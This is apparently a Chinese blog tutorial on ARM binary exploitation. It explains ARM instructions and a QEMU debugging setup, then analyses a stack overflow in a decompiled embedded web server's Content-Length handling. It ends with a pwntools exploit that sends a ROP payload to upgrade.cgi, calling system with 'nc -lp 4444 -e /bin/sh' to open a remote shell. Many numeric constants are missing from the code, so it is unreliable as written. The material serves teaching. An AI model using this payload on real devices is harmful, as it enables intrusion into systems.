本文首发于“合天智汇”公众号 作者:s0xzOrln
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!
刚刚开始学习ARM pwn,下面如有错误,希望各位大佬多多包han,多多包涵。
先介绍下 Arm的一些常见指令
那就先来
Arm 三操作数指令
LDRB   R0, [R1, #-] # 把R1-1的地址的值给R0
立即数前面加个 `#`
看看函数开始时
PUSH            {R4,R5,R7,LR}
STMFD SP!, {R4-R11,LR}
这两条指令都常见在函数的开始
都是 压入栈中
Arm指令中的 - 感觉蛮简洁的,可以省略很多步骤和指令。
{R0-R4} 就是指 R0 R1 R2 R3 R4 寄存器
Arm LDR 指令
ldr指令的格式:
LDR R0, [R1]
LDR R0, =NAME
LDR R0, =0X123
对于第一种没有等号的情况,R1寄存器对应地址的数据被取出放入R0
对于第二种有等号的情况,R0寄存器的值将为NAME标号对应的地址。
对于第三种有等号的情况,R0寄存器的值将为立即数的值
LDM 和 STM是多数据传送指令,用来装载和存储多个字的数据从/到内存。比如:
STMFD   SP!, {R4-R11,LR} 的伪代码如下
SP = SP - ×;
address = SP;
for i = to
Memory[address] = Ri;
address = address + ;
Memory[address] = LR;
总的来说就是 把{R4-R11}压到栈中,然后再把LR压到栈中 指令格式是:
xxM{条件}{类型} Rn{!}, <寄存器列表>{^}
‘xx’是 LD 表示装载,或 ST 表示存储。 再加 种‘类型’就变成了 个指令: 栈 其他
LDMED LDMIB 预先增加装载
LDMFD LDMIA 过后增加装载
LDMEA LDMDB 预先减少装载
LDMFA LDMDA 过后减少装载 STMFA STMIB 预先增加存储
STMEA STMIA 过后增加存储
STMFD STMDB 预先减少存储
STMED STMDA 过后减少存储
寄存器命名:
在常见的程序中 前面的命名一般都是以R*,一些比较特殊的寄存器,就命令,比如 LR SP 在IDA里面都是显示APCS。
STR(存储) 和 LDR(装载) 是来存储 和 装载单一字节或字的数据从/到内存
LDR{条件} Rd, <地址>
STR{条件} Rd, <地址>
在STR 、LDR、 MOV后面加上EQ 代表的是 32位 ldr = Load Word
ldrh = Load unsigned Half Word
ldrsh = Load signed Half Word
ldrb = Load unsigned Byte
ldrsb = Load signed Bytes str = Store Word
strh = Store unsigned Half Word
strsh = Store signed Half Word
strb = Store unsigned Byte
strsb = Store signed Byte

Arm 跳转

B address  #就像是jmp
BL #后面加分支 # 相当于call
BL strncpy
BEQ #不等于 想到于 jne
BCC #进位清除,应该就是 cmp后,进位为0就跳 感觉就像是 <
BGT # 大于
BLT #小于
BCS #进位设置,应该就是cmp后,有进位 感觉就像是 >=
BLX #实现跳转的同时切换ARM的状态ARM->Thunb或者Thunb->ARM
BX #可以跳转到ARM指令或者Thumb指令

Arm 程序状态寄存器处理指令

MRS:用于将程序状态寄存器的内容送到通用寄存器
MSR:将操作数的内容送到程序状态寄存器的特定域

Arm 比较指令

CMP 这个跟 x86的差不多,不改变寄存器的值,更新CPSR标志寄存器
TST 感觉跟test 有点像 都是不影响目的寄存器的值,改变状态寄存器
Arm 标志位
做题,了解这些指令就差不多了
环境搭建
可以用qemu-arm加 gdb-multiarch , gdb-multiarch 加gdbserver或者直接arm_now (后面这个。我安装了还是不太会用。逃····
第一种
这种我没具体的调试过,之前就用了一次,感觉没第二种舒服
sudo apt-get install git gdb gdb-multiarch
apt search "libc6-" | grep "arm"
sudo apt-get install -y gcc-arm-linux-gnueabi qemu-arm -g port -L /usr/arm-linux-gnueabi ./pwn
这是运行程序,-L是依赖库
然后用gdb-multiarch
targe remote 上去
第二种
首先先下载 arm-debian的qemu镜像
#这些都是在本机进行操作
sudo tunctl -t tap0 -u `whoami` #这边新建一张网卡和虚拟机进行通信
sudo ifconfig tap0 192.168.2.1/ #给网卡配置ip
#这个配置要在一个段上面,这个是为了后面方便传文件进qemu虚拟机里面
#然后
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.--versatile -initrd initrd.img-3.2.--versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic #启动虚拟机镜像
#如果下载的是armel 就上面的,gdbserver也要用对应的armel
#如果下载的是armhf 就对应改下几个就可以 #具体参数 可以 sudo qemu-system-arm -h 查看
#然后最后把simpleHTTPServer起来就OK
#在想传文件的目录运行
python -m SimpleHTTPServer#默认起8000端口,反正这端口一般也没用,懒得改默认了 #然后进入虚拟机
#密码账号都是root
#进去之后 如果是固件的话一般都是能把整个环境弄到,那就用chroot起,这样方便,chroot起的,
#要把proc和dev挂载到chroot起了之后的根目录
sudo mount -o bind /dev ./squashfs-root/dev
sudo mount -t proc /proc ./squashfs-root/proc
#然后也配置网卡地址
ifconfig eth0 192.168.2.2/
#然后用
wget http://x.x.x.x:8000/filename
#把文件给拷进来,调试程序,gdbserver都是需要拷进来
#gdbserver 下载链接
#https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt
#chroot
chroot . sh
#用gdbsever起环境
#gdb-multiarch attach上去就能调试了

其他:

qemu-arm-static 可以运行静态编译的可执行程序
sudo apt install qemu-user-static
这个可以用来调试静态编译的文件

实例调试分析

就只开了 nx
漏洞所在的函数
int __fastcall sub_17F80(char *a1)
{
char *v1; // r4
char *v2; // r0
int v3; // r3
char *v4; // r5
unsigned int v5; // r9
unsigned __int8 *v6; // r8
char *v7; // r3
int v8; // r6
int v9; // t1
int v10; // r10
int v11; // r2
int v12; // r2
unsigned __int8 *v13; // r0
bool v14; // zf
int v15; // r2
int v16; // t1
bool v17; // zf
char *v18; // ST14_4
int v19; // r0
int v20; // r2
int v21; // r1
ssize_t v22; // r5
int v23; // r2
char *v24; // r0
const char *v25; // r6
char *v26; // r0
int result; // r0
int v28; // r6
FILE *v29; // r0
int v30; // r6
FILE *v31; // r0
const char *v32; // r1
int v33; // r2
int v34; // r3
char *v35; // r7
char *v36; // r6
char *v37; // r0
int v38; // r7
int v39; // r0
int v40; // r2
unsigned int v41; // r3
char *haystack; // [sp+Ch] [bp-44h]
char dest[]; // [sp+18h] [bp-38h]
int v44; // [sp+1Ch] [bp-34h]
int v45; // [sp+20h] [bp-30h]
int v46; // [sp+24h] [bp-2Ch] v1 = a1;
haystack = a1 + ;
v2 = strncpy(a1 + , a1 + , 0x1FFFu);
v3 = *((_DWORD *)v1 + );
v4 = &v1[*((_DWORD *)v1 + ) + ];
v5 = (unsigned int)&haystack[v3];
if ( dword_34864 & 0x10 && (unsigned int)v4 < v5 )
{
haystack[v3] = ;
sub_16534(v2);
fprintf((FILE *)stderr, "%s:%d - Parsing headers (\"%s\")\n", "src/read.c", , v4);
}
v6 = (unsigned __int8 *)(v4 - );
v7 = v4;
if ( (unsigned int)v4 >= v5 )
{
LABEL_26:
if ( *(_DWORD *)v1 > 3u )
return ;
v21 = *((_DWORD *)v1 + );
if ( (unsigned int)(0x1FFF - v21) >= 0x2000 )
{
sub_1627C(v1);
fwrite("No space left in client stream buffer, closing\n", 1u, 0x2Fu, (FILE *)stderr);
result = ;
*((_DWORD *)v1 + ) = ;
*(_DWORD *)v1 = ;
return result;
}
v22 = read(*((_DWORD *)v1 + ), &haystack[v21], 0x2000 - v21);
if ( !strncmp(haystack, "POST", 4u) || (v26 = (char *)strncmp(haystack, "PUT", 3u)) == )
{
v23 = (unsigned __int8)v1[];
*(_DWORD *)dest = ;
v44 = ;
v45 = ;
v46 = ;
if ( v23 )
{
v35 = strstr(haystack, "Content-Length");
v36 = strchr(v35, '\n');
v37 = strchr(v35, ':');
strncpy(dest, v37 + , v36 - (v37 + )); // 这里复制有bug
}
v24 = strstr(haystack, "\r\n\r\n");
if ( v24 && (v25 = v24 + , (signed int)(v24 + ) <= (signed int)&haystack[*((_DWORD *)v1 + ) - + v22]) )
{
v26 = strstr(haystack, "upgrade.cgi");
if ( !v26 || (v26 = strstr(v25, "\r\n\r\n")) != )
{
*((_DWORD *)v1 + ) = -;
goto LABEL_36;
}
v30 = (int)(v1 + );
++*((_DWORD *)v1 + );
v31 = (FILE *)stderr;
v32 = "req->iCount++(2)= %d\n";
}
else
{
v30 = (int)(v1 + );
v31 = (FILE *)stderr;
v32 = "req->iCount++= %d\n";
++*((_DWORD *)v1 + );
}
fprintf(v31, v32);
v33 = *(_DWORD *)(v30 + );
v26 = (char *)( * v33);
*(_DWORD *)(v30 + ) = v33 % ;
}
LABEL_36:
if ( v22 < )
{
v34 = *_errno_location();
if ( v34 != )
{
if ( v34 == )
return -;
sub_1627C(v1);
perror("header read");
*((_DWORD *)v1 + ) = ;
return ;
}
}
else
{
if ( !v22 )
{
if ( *((_DWORD *)v1 + ) >= (unsigned int)dword_37E6C || *((_DWORD *)v1 + ) || *((_DWORD *)v1 + ) )
{
sub_1627C(v1);
fwrite("client unexpectedly closed connection.\n", 1u, 0x27u, (FILE *)stderr);
}
*((_DWORD *)v1 + ) = ;
return ;
}
v14 = (dword_34864 & 0x10) == ;
*((_DWORD *)v1 + ) += v22;
if ( !v14 )
{
sub_16534(v26);
v29 = (FILE *)stderr;
v1[*((_DWORD *)v1 + ) + ] = ;
fprintf(v29, "%s:%d -- We read %d bytes: \"%s\"\n", "src/read.c", , v22, "");
}
}
return ;
}
while ( )
{
if ( *((_DWORD *)v1 + ) > )
goto LABEL_26;
v9 = (unsigned __int8)*v4++;
v8 = v9;
v10 = v9 - ;
if ( v9 != )
v10 = ;
if ( v8 == )
v11 = v10 & ;
else
v11 = ;
if ( v11 )
{
v12 = *v6;
v13 = v6;
v14 = v12 == ;
if ( *v6 )
v14 = v12 == ;
if ( !v14 )
{
do
{
v16 = *(v13-- - );
v15 = v16;
v17 = v16 == ;
if ( v16 )
v17 = v15 == ;
}
while ( !v17 );
}
v18 = v7;
v19 = strncmp((const char *)v13 + , "User-Agent:", 0xBu);
v7 = v18;
if ( v19 )
{
sub_1627C(v1);
fprintf((FILE *)stderr, "Illegal character (%d) in stream.\n", );
sub_1BC48(v1);
return ;
}
}
v20 = *(_DWORD *)v1;
switch ( *(_DWORD *)v1 )
{
case :
if ( v8 == )
{
*((_DWORD *)v1 + ) = v7;
*(_DWORD *)v1 = ;
goto LABEL_24;
}
if ( v8 != )
goto LABEL_24;
*((_DWORD *)v1 + ) = v7;
*(_DWORD *)v1 = ;
goto LABEL_52;
case :
if ( v8 != )
goto LABEL_22;
*(_DWORD *)v1 = ;
LABEL_52:
++*((_DWORD *)v1 + );
goto LABEL_53;
case :
if ( v8 == )
{
*(_DWORD *)v1 = ;
goto LABEL_24;
}
if ( v8 != )
{
LABEL_23:
*(_DWORD *)v1 = ;
LABEL_24:
++*((_DWORD *)v1 + );
LABEL_25:
++v6;
v7 = v4;
if ( (unsigned int)v4 >= v5 )
goto LABEL_26;
continue;
}
LABEL_45:
++*((_DWORD *)v1 + );
*(_DWORD *)v1 = ;
LABEL_46:
v28 = sub_1A4F4(v1);
if ( !v28 )
return ;
if ( (unsigned int)(*((_DWORD *)v1 + ) - ) > )
return v28;
v38 = *((_DWORD *)v1 + );
*((_DWORD *)v1 + ) = &v1[*((_DWORD *)v1 + ) + ];
*((_DWORD *)v1 + ) = v4;
*(_DWORD *)v1 = ;
if ( !v38 )
{
sub_1627C(v1);
fwrite("Unknown Content-Length POST!\n", 1u, 0x1Du, (FILE *)stderr);
sub_1BC48(v1);
return ;
}
v39 = sub_216EC(v38);
if ( v39 < )
{
sub_1627C(v1);
fprintf((FILE *)stderr, "Invalid Content-Length [%s] on POST!\n", *((_DWORD *)v1 + ));
sub_1BC48(v1);
return ;
}
v40 = *((_DWORD *)v1 + );
v41 = *((_DWORD *)v1 + ) - v40;
*((_DWORD *)v1 + ) = v39;
*((_DWORD *)v1 + ) = ;
if ( v39 >= v41 )
return v28;
*((_DWORD *)v1 + ) = v40 + v39;
return v28;
case :
if ( v8 == )
goto LABEL_45;
LABEL_22:
if ( v10 )
goto LABEL_23;
goto LABEL_24;
default:
++*((_DWORD *)v1 + );
if ( v20 == )
{
LABEL_53:
**((_BYTE **)v1 + ) = ;
if ( *((_DWORD *)v1 + ) - *((_DWORD *)v1 + ) > )
{
sub_1627C(v1);
fprintf(
(FILE *)stderr,
"Header too long at %lu bytes: \"%s\"\n",
*((_DWORD *)v1 + ) - *((_DWORD *)v1 + ));
sub_1BC48(v1);
return ;
}
if ( *((_DWORD *)v1 + ) )
{
if ( !sub_1A878(v1) )
return ;
}
else
{
if ( !sub_19FF0(v1) )
return ;
if ( *((_DWORD *)v1 + ) == )
return sub_1A4F4(v1);
}
*((_DWORD *)v1 + ) = v4;
}
else if ( v20 == )
{
goto LABEL_46;
}
goto LABEL_25;
}
}
}

上面看到 strcpy存在bug,就是长度时按照输入来计算的,这时只要控制好,就能实现栈溢出。

先看看前面的的指令有没分析正确
能看出那些寄存器是用来做参数的 r0 r1 r2 ,然后依次往后
r3 是栈顶指针,lr是保存着返回地址,pc就是当前指令的下一条,cpsr 程序状态寄存器
看看程序开头和结尾
开头
结尾
 
R4-R11,LR都是放进栈里,如果发生了栈溢出,那岂不是能基本控制大多数的参数了,前面4个没有控制,我估摸着是用来做 传参用的。
这道题还是把aslr关了。
看到上图就清楚,此时的栈已经被控制了,执行为箭头所指向的,那r4-r11,LR都给控制了。
关了aslr就是直接执行system了,但是得控制参数,这个就直接用ROPgadgets就OK了
直接控制R0就ok
exp:
from pwn import *

context.log_level ='debug'

p = remote("192.168.2.2",)
system_addr = 0x76f74ab0 order_commad = "nc -lp 4444 -e /bin/sh;pwd;pwd;"
pre = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = "a"*+p32(0x00048784+0x76f2d000)+p32(0x7effeb68)+p32(0x00016aa4+0x76f2d000)+'a'*+p32(system_addr)
payload = pre+payload+order_commad+"\n\r\n\r\n" p.sendline(payload)
p.interactive()

参考链接:

相关实验:
ARM漏洞利用技术一--编写arm shellcode
(通过该实验了解arm环境下编写shellcode的基本过程,以execve()为例,详细介绍了相关步骤,包括系统调用、系统调用后、函数参数、去除空字符、转换进制等。)

Arm pwn学习的更多相关文章

  1. ARM指令学习,王明学learn

    ARM指令学习 一.算数和逻辑指令 1— MOV 数据传送指令    2.— MVN 数据取反传送指令    3.— CMP 比较指令    4.— CMN 反值比较指令    5.— TST 位测试 ...

  2. ARM寄存器学习,王明学learn

    ARM寄存器学习 ARM微处理器共有37个32位寄存器,其中31个为通用寄存器,6个为状态寄存器.但是这些寄存器不能被同时访问,具体哪些寄存器是可以访问的,取决ARM处理器的工作状态及具体的运行模式. ...

  3. 痞子衡嵌入式:史上最强ARM Cortex-M学习资源汇总(持续更新中...)

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是ARM Cortex-M学习资源. 类别 资源 版本 短评 官方汇总 cortex-m-resources / ARM公司专家Josep ...

  4. arm汇编学习(三)

    一.ndk编译android上运行的c程序 新建个hello目录,底下要有jni目录,下面就是Android.mk文件 1.Android.mk文件内容如下: LOCAL_PATH:= $(call ...

  5. android ARM 汇编学习 —— hello world

    android ARM 汇编学习—— 在 android 设备上编译c/cpp代码并用objdump/readelf等工具分析 adb putty 连上手机,用busybox vi 写一个 hello ...

  6. PWN学习之格式化字符串漏洞

    目录 PWN学习之格式化字符串漏洞 格式化输出函数 格式化字符串漏洞 漏洞利用 使程序崩溃 栈数据泄露 任意地址内存泄漏 栈数据覆盖 任意地址内存覆盖 PWN学习之格式化字符串漏洞 格式化输出函数 可 ...

  7. PWN学习之整数溢出

    目录 PWN学习之整数溢出 整数溢出 溢出和回绕 漏洞多发函数 整数溢出例子 PWN学习之整数溢出 整数溢出 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险.通常情况下, ...

  8. PWN学习之栈溢出

    目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...

  9. [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

    目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...

随机推荐

  1. JavaScript 基础 学习 (二)

    JavaScript 基础 学习 节点属性 ​ 每一个节点都有自己的特点 ​ 这个节点属性就记录着属于自己节点的特点 1. nodeType(以一个数字来表示这个节点类型) ​ 语法:节点.nodeT ...

  2. css导航菜单二级显示的问题

    m项目中出现了二级菜单的标签是在导航的里面,用css ul>li:hover ul>li>ul>li 这样子实现不了鼠标经过时导航里二级菜单的显示,这里个人感觉是冲突了.最后通 ...

  3. Python Ethical Hacking - ARP Spoofing

    Typical Network ARP Spoofing Why ARP Spoofing is possible: 1. Clients accept responses even if they ...

  4. try-catch- finally块中, finally块唯一不执行的情况是什么?

    除非在try块或者catch块中调用了退出虚拟机的方法(即System.exit(1);),否则不管在try块.catch块中执行怎样的代码,出现怎样的情况,异常处理的finally块总是会被执行的 ...

  5. 【Python学习笔记三】一个简单的python爬虫

    这里写爬虫用的requests插件 1.一般那3.x版本的python安装后都带有相应的安装文件,目录在python安装目录的Scripts中,如下:   2.将scripts的目录配置到环境变量pa ...

  6. MacOS中Mysql设置默认字符集

    一.查看字符集 mysql> show variables like 'character%'; +--------------------------+-------------------- ...

  7. Spring事务管理接口定义

    Spring事务管理接口介绍 Spring事务管理接口: PlatformTransactionManager: (平台)事务管理器 TransactionDefinition: 事务定义信息(事务隔 ...

  8. Docker 概念-2

    Docker 是什么? 说了这么多, Docker 到底是个什么东西呢?我们在理解 Docker 之前,首先得先区分清楚两个概念,容器和虚拟机. 可能很多读者朋友都用过虚拟机,而对容器这个概念比较的陌 ...

  9. web自动化 -- 浏览器窗口切换

    切换浏览器窗口 示例: from time import sleep from selenium import webdriver from selenium.webdriver.support.wa ...

  10. vue学习(十六) 自定义私有过滤器 ES6字符串新方法 填充字符串

    <div id="app"> <p>{{data | formatStr('yyyy-MM-dd')}}</p></div> //s ...